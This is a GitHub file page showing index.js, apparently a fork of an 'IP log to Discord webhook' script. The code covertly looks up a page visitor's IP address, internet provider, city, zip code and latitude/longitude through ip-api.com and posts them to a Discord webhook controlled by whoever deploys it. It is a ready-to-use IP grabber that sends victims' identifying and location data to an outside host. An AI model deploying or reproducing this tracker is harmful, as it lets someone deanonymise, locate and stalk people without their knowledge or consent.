-
Notifications
You must be signed in to change notification settings - Fork 10
/
index.js
58 lines (44 loc) · 1.81 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// Paste your Discord Webhook API URL into Line 3: WEBHOOKURL => YOUR API URL
var webHookUrl = "YOUR_WEBHOOK_URL_HERE";
/*
Forked from: https://github.com/luisoos/IP-Log-To-Discord-Webhook
License: MIT
*/
const request = async () => { // Calling a "synchronous" fetch
const response = await fetch('https://ip-api.com/json/');
const data = await response.json();
// Declaring variables
var ip = data.query;
var provider = data.org + " (" + data.as + ")";
var timezone = data.timezone;
var country = data.country;
var countryCode = data.countryCode.toLowerCase()
var region = data.region + " (" + data.regionName + ")";
var city = data.city;
var zip = data.zip;
var lat = data.lat;
var lon = data.lon;
// Open POST Request
var postRequest = new XMLHttpRequest();
postRequest.open("POST", webHookUrl);
postRequest.setRequestHeader('Content-type', 'application/json');
var params = {
username: "IP Log",
avatar_url: "",
content: "__**:globe_with_meridians: IP-Adress:**__ \n"
+ "`" + ip + "`" +
"\n \n__**:telephone: Provider:**__ \n"
+ provider +
"\n \n__**:map: Timezone:**__ \n"
+ timezone +
"\n \n__**:flag_" + countryCode + ": Country and Region:**__ \n"
+ country + " - " + region +
"\n \n__**:cityscape: Zip Code & City:**__ \n"
+ zip + " " + city +
"\n \n__**:round_pushpin: Location:**__ \n"
+ "**Longitude:** " + lon + "\n"
+ "**Latitude:** " + lat
}
postRequest.send(JSON.stringify(params));
}
request();